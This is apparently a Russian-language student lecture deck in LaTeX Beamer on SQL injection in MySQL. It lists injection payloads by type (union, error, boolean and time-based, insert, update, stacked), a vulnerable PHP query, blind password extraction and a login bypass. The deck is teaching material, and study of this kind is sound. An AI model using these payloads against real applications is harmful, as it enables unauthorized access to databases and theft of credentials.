\documentclass{beamer}

\usepackage[T2A]{fontenc}
\usepackage[utf8]{inputenc}
\usepackage[english,russian]{babel}
\usepackage{wrapfig}
\usepackage{graphicx}
\usepackage{multirow}
\usepackage{fancyvrb}
\usepackage{underscore}
\graphicspath{ {./images/} }

\usetheme{Madrid}

\title{SQL инъекция в сервере MySQL}
\author[Андрей, Роман, Иван, Ирина]{Андрей~Гущин \and Роман~Стаин \and Иван~Улитин \and Ирина~Зимина}
\institute[СГУ]{Саратовский Государственный Университет}  
\date{6 марта 2023 г.}

\begin{document}

\maketitle

\begin{frame}{Анализ БД через SQL инъекцию}
  \begin{minipage}[t]{0.48\linewidth}
    \begin{figure}[H]
      \includegraphics[width=\textwidth]{databases}
    \end{figure}
  \end{minipage}
  \hfill
  \begin{minipage}[t]{0.48\linewidth}
    \begin{figure}[H]
      \includegraphics[width=0.7\textwidth]{tables}
    \end{figure}
  \end{minipage}
\end{frame}

\begin{frame}{Анализ БД через SQL инъекцию}
  \begin{figure}[H]
    \includegraphics[width=\textwidth]{users}
  \end{figure}
\end{frame}


\begin{frame}{Функция SERVERPROPERTY}
  \begin{figure}[H]
    \includegraphics[width=\textwidth]{metadata_1}
  \end{figure}
\end{frame}
\begin{frame}{Функция DATABASEPROPERTYEX}
  \begin{figure}[H]
    \includegraphics[width=\textwidth]{metadata_2}
  \end{figure}
\end{frame}
\begin{frame}{Функции DB_NAME и DB_ID}
  \begin{figure}[H]
    \includegraphics[width=\textwidth]{metadata_3}
  \end{figure}
\end{frame}
\begin{frame}{Функции FILE_NAME, FILE_ID и FILE_IDEX}
  \begin{figure}[H]
    \includegraphics[width=\textwidth]{metadata_5}
  \end{figure}
\end{frame}
\begin{frame}{Функции SCHEMA_NAME и SCHEMA_ID}
  \begin{figure}[H]
    \includegraphics[width=\textwidth]{metadata_7}
  \end{figure}
\end{frame}
\begin{frame}{Функции SCHEMA_NAME и SCHEMA_ID}
  \begin{figure}[H]
    \includegraphics[width=\textwidth]{metadata_8}
  \end{figure}
\end{frame}
\begin{frame}{Функции OBJECT_NAME и OBJECT_ID}
  \begin{figure}[H]
    \includegraphics[width=\textwidth]{metadata_9}
  \end{figure}
\end{frame}
\begin{frame}{Функция STATS_DATE}
  \begin{figure}[H]
    \includegraphics[width=0.8\textwidth]{metadata_10}
  \end{figure}
\end{frame}
\begin{frame}{Функция STATS_DATE}
  \begin{figure}[H]
    \includegraphics[width=0.85\textwidth]{metadata_11}
  \end{figure}
\end{frame}


\begin{frame}[fragile]{Типы SQL запросов -- Union-based}
  \begin{block}{Запрос}
    \begin{Verbatim}
SELECT name,email FROM users WHERE id='<id>';
    \end{Verbatim}
  \end{block}
  \pause
  \begin{block}{Инъекция}
    \begin{Verbatim}
1' UNION SELECT password,secret FROM users --
    \end{Verbatim}
  \end{block}
  \pause
  \begin{block}{Запрос с инъекцией}
  \begin{Verbatim}
SELECT name,email FROM users WHERE id='1'
UNION
SELECT password,secret FROM users -- ';
  \end{Verbatim}
  \end{block}
\end{frame}

\begin{frame}[fragile]{Типы SQL запросов -- Error-based}
  \begin{block}{Запрос}
    \begin{Verbatim}
SELECT name,email FROM users
  WHERE id='1' and 
  ExtractValue(rand(),concat(0x3a,version()))
    \end{Verbatim}
  \end{block}
\end{frame}

\begin{frame}[fragile]{Типы SQL запросов -- Boolean-based}
  \begin{block}{Запрос}
    \begin{Verbatim}
SELECT email FROM users WHERE id='<id>';
    \end{Verbatim}
  \end{block}
  \pause
  \begin{block}{Инъекция}
    \begin{Verbatim}
1' and password LIKE 'a%
    \end{Verbatim}
  \end{block}
  \pause
  \begin{block}{Запрос с инъекцией}
  \begin{Verbatim}
SELECT email FROM users WHERE id='1' and password LIKE 'a%';
  \end{Verbatim}
  \end{block}
\end{frame}

\begin{frame}[fragile]{Типы SQL запросов -- Time-based}
  \begin{block}{Запрос}
    \begin{Verbatim}
SELECT login FROM users WHERE id='<id>';
    \end{Verbatim}
  \end{block}
  \pause
  \begin{block}{Инъекция}
    \begin{Verbatim}
1' AND IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0)
    \end{Verbatim}
  \end{block}
  \pause
  \begin{block}{Запрос с инъекцией}
  \begin{Verbatim}
SELECT login FROM users 
  WHERE id='1' AND 
  IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0)';
  \end{Verbatim}
  \end{block}
\end{frame}

\begin{frame}[fragile]{Типы SQL запросов -- Insert}
  \begin{block}{Запрос}
    \begin{Verbatim}
INSERT INTO users(email,login,password) 
  VALUES('<input0>','<input1>','<input2>');
    \end{Verbatim}
  \end{block}
  \pause
  \begin{block}{Инъекция}
    \begin{Verbatim}
test1','1234'),('my@email.com',VERSION(),'1337')
    \end{Verbatim}
  \end{block}
  \pause
  \begin{block}{Запрос с инъекцией}
  \begin{Verbatim}
INSERT INTO users(email,login,password) 
  VALUES('...','test1','1234'), 
  ('my@email.com',VERSION(),'1337')
  \end{Verbatim}
  \end{block}
\end{frame}

\begin{frame}[fragile]{Типы SQL запросов -- Update}
  \begin{block}{Запрос}
    \begin{Verbatim}
UPDATE users SET about='about' WHERE id='1';
    \end{Verbatim}
  \end{block}
  \pause
  \begin{block}{Инъекция}
    \begin{Verbatim}
', email=VERSION() WHERE id='1'
    \end{Verbatim}
  \end{block}
  \pause
  \begin{block}{Запрос с инъекцией}
  \begin{Verbatim}
UPDATE users SET about='', email=VERSION() 
  WHERE id='1' -- ' WHERE id='1';
  \end{Verbatim}
  \end{block}
\end{frame}

\begin{frame}[fragile]{Типы SQL запросов -- Stacked}
  \begin{block}{Запрос}
    \begin{Verbatim}
SELECT login FROM users WHERE id='<id>';
    \end{Verbatim}
  \end{block}
  \pause
  \begin{block}{Инъекция}
    \begin{Verbatim}
1'; SELECT password FROM users WHERE id='1
    \end{Verbatim}
  \end{block}
  \pause
  \begin{block}{Запрос с инъекцией}
  \begin{Verbatim}
SELECT login FROM users WHERE id='1'; 
SELECT password FROM users WHERE id='1';
  \end{Verbatim}
  \end{block}
\end{frame}


\begin{frame}[fragile]{Инъекция в сложных запросах}
  На практике в конце SQL-запроса могут быть дополнительные условия, операторы
  сортировки, группировки и другие SQL-конструкции. В каждом конкретном случае,
  злоумышленник постарается встроить вредоносный кусок таким образом, чтобы
  запрос в целом остался синтаксически корректным, но выболнял другую функцию.

  \begin{block}{Уязвимый запрос с дополнительным условием}
    \begin{Verbatim}
$sql = "SELECT username, realname
        FROM users WHERE cityid='"
        . $_GET['cityid'] . "' AND age<'35'";
    \end{Verbatim}
  \end{block}

  \begin{block}{Итоговый запрос}
    \begin{Verbatim}
SELECT username, realname FROM users WHERE cityid='20'
UNION SELECT username, password AS realname FROM
users WHERE 1 OR '1' AND age<'35';
    \end{Verbatim}
  \end{block}
\end{frame}

\begin{frame}[fragile]{Результаты запроса не отображаются пользователю}
  Может оказаться, что уязвимым является запрос, результаты которого не
  отображаются пользователю.

  \begin{block}{Пример 1}
    \begin{Verbatim}
$sql = "SELECT count(*) FROM users
        WHERE userid='" . $_GET['userid'] . "'";
    \end{Verbatim}
  \end{block}

  \begin{block}{Пример 2}
    \begin{Verbatim}
SELECT count(*) FROM users
WHERE userid='2' AND password LIKE 'a%';
    \end{Verbatim}
  \end{block}

  Взломщик получит "пользователь не найден", если пароль не начинается на букву
  'a', или стандартную страницу с профилем пользователя, в противном случае.
  Перебором определяется первая буква пароля, затем вторая и.т.д.

\end{frame}

\begin{frame}[fragile]{Login Bypass Authentication}
Это может быть использовано для того, чтобы заставить веб-сервер или любой
другой интерфейс между пользователем и базой данных выполнить указания, которые
необходимы взломщику.

\begin{block}{Пример 1}
  \begin{Verbatim}
SELECT id
FROM users
WHERE login='<login>' AND password='<password>';
  \end{Verbatim}
\end{block}

\begin{block}{Пример 2}
  \begin{Verbatim}
SELECT id FROM users 
WHERE login='1234\' AND password='UNION SELECT 1 -- ';
  \end{Verbatim}
\end{block}
\end{frame}

\begin{frame}{Внимание! Анекдот.}
  \begin{figure}[H]
    \includegraphics[width=0.8\textwidth]{sql_joke}
  \end{figure}
\end{frame}

\begin{frame}
  \frametitle{Внимание!}

  \begin{center}
    {\Huge Спасибо за внимание!} \\
    {\footnotesize Колоться "--- это незаконно и неэтично.}
  \end{center}
\end{frame}

\end{document}
